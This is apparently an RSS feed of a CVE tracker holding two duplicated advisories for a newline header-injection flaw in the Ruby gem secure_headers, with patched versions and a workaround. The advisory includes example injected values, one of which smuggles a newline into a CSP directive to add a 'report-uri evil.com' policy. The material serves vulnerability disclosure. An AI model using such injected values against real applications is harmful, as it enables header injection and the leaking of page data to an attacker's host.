https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 08:12:37 +0000 https://cve.radiocsirt.org/vuln/cve-2020-5216 <p><strong>Affected:</strong> Twitter secure_headers</p> <p>In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.</p> <p><strong>Affected:</strong> Twitter secure_headers</p> <p>In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.</p> https://cve.radiocsirt.org/vuln/cve-2020-5216 https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg <p><strong>Affected:</strong> RubyGems: secure_headers</p> <p>### Impact</p> <p>If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.</p> <p>Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.</p> <p>e.g.</p> <p>```ruby override_content_security_directives(script_src: [&#39;mycdn.com&#39;, &#34;\ninjected\n&#34;])` ```</p> <p>would result in</p> <p>``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ```</p> <p>CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:</p> <p>```ruby override_content_security_directives(script_src: [&#34;mycdn.com&#34;, &#34;\ndefault-src &#39;none&#39;; report-uri evil.com&#34;]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src &#39;none&#39;; report-uri evil.com Content-Security-Policy: rest-of-the-header ```</p> <p>### Patches</p> <p>This has been fixed in 6.3.0, 5.2.0, and 3.9.0</p> <p>### Workarounds</p> <p>```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub(&#34;\n&#34;, &#34; &#34;)]) ```</p> <p>### References</p> <p>https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)</p> <p>### For more information</p> <p>If you have any questions or…</p> <p><strong>Affected:</strong> RubyGems: secure_headers</p> <p>### Impact</p> <p>If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.</p> <p>Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.</p> <p>e.g.</p> <p>```ruby override_content_security_directives(script_src: [&#39;mycdn.com&#39;, &#34;\ninjected\n&#34;])` ```</p> <p>would result in</p> <p>``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ```</p> <p>CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:</p> <p>```ruby override_content_security_directives(script_src: [&#34;mycdn.com&#34;, &#34;\ndefault-src &#39;none&#39;; report-uri evil.com&#34;]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src &#39;none&#39;; report-uri evil.com Content-Security-Policy: rest-of-the-header ```</p> <p>### Patches</p> <p>This has been fixed in 6.3.0, 5.2.0, and 3.9.0</p> <p>### Workarounds</p> <p>```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub(&#34;\n&#34;, &#34; &#34;)]) ```</p> <p>### References</p> <p>https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)</p> <p>### For more information</p> <p>If you have any questions or…</p> https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg